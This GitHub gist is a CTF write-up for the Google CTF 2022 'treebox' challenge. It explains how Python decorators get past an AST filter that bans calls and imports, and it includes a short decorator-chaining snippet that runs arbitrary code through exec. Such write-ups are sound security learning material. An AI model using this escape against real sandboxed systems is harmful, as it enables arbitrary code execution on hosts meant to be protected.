Skip to content

Instantly share code, notes, and snippets.

@Stfort52
Last active April 4, 2023 06:13
Show Gist options
  • Save Stfort52/b809ac088b62a0772da680ca0f12dc3b to your computer and use it in GitHub Desktop.
Save Stfort52/b809ac088b62a0772da680ca0f12dc3b to your computer and use it in GitHub Desktop.
Write-up for the sandbox task from Gooooooogle CTF 2022 treebox

Google CTF 2022 treebox

Analysis

It's one of those python sandboxing problems. You enter python script, server evaluates....if it passes the filter function below.

def verify_secure(m):
  for x in ast.walk(m):
    match type(x):
      case (ast.Import|ast.ImportFrom|ast.Call):
        print(f"ERROR: Banned statement {x}")
        return False
  return True

As you can see, it's using the abstract syntax tree of python interpreter to prevent malicious actions. In detail, it prevents any explicit calls and imports.

To make things a bit easier, os and sys is already imported.

Solution

It's true that we cannot do anything if we can't get any calls or imports. However, performing calls does not always imply using a () for calling.

One of the handy features of python are the Decorators. They allow you to wrap function calls in other functions with least effort. But the important point here is, that using decorators like @decorator is evaluated as a function call in the runtime, but is not classified as a function call when it's parsed. If you take a code snippnet like this,

@super
def victim():
    pass

....and dump the contents with python's builtin ast module, you'll get the following results.

FunctionDef(
    name='victim',
    args=arguments(
        posonlyargs=[],
        args=[],
        kwonlyargs=[],
        kw_defaults=[],
        defaults=[]),
    body=[
        Pass()],
    decorator_list=[
        Name(id='super', ctx=Load())])

As you can see, a decorator call to super has became an attribute of this Function definition, namely decorator_list. And by chaining these decorators, we can get unrestricted code excution.

This is one of the examples from my teammates.

class A:
    def __init__(self):
        return 'print(3)'

@exec
@A.__init__
def f():
    pass
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment